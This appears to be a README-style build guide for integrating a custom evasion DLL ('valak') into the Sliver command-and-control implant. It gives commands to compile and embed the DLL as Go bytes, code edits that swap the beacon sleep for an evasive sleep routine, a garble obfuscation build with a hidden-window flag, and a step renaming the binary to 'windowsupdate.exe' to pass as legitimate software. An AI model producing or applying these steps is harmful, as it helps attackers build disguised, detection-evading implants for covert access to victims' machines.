72 lines
1.3 KiB
Markdown
72 lines
1.3 KiB
Markdown
## embed the dll
|
|
|
|
build the dll first:
|
|
```
|
|
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
|
```
|
|
|
|
this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:
|
|
|
|
```bash
|
|
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
|
|
```
|
|
|
|
or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:
|
|
|
|
```go
|
|
var embeddedDLL = []byte{
|
|
0x4d, 0x5a, 0x90, 0x00, ...
|
|
}
|
|
```
|
|
|
|
replace the `...` with the actual dll bytes.
|
|
|
|
## drop into sliver
|
|
|
|
copy `go-bridge/` into `implant/sliver/evasion/valak/`
|
|
|
|
## wire it up
|
|
|
|
in `runner.go`, add the import:
|
|
```go
|
|
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
|
|
```
|
|
|
|
in `Run()`, call this at the top:
|
|
```go
|
|
valak.Bootstrap()
|
|
```
|
|
|
|
replace the beacon sleep block (around line 294):
|
|
```go
|
|
// before
|
|
select {
|
|
case <-errors:
|
|
return err
|
|
case <-time.After(duration):
|
|
case <-shortCircuit:
|
|
}
|
|
|
|
// after
|
|
select {
|
|
case err := <-errors:
|
|
return err
|
|
case <-shortCircuit:
|
|
default:
|
|
valak.EvasionSleep(duration)
|
|
}
|
|
```
|
|
|
|
on shutdown call:
|
|
```go
|
|
valak.Cleanup()
|
|
```
|
|
|
|
## build the implant
|
|
|
|
```bash
|
|
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
|
|
```
|
|
|
|
rename the binary to something legit like `windowsupdate.exe`
|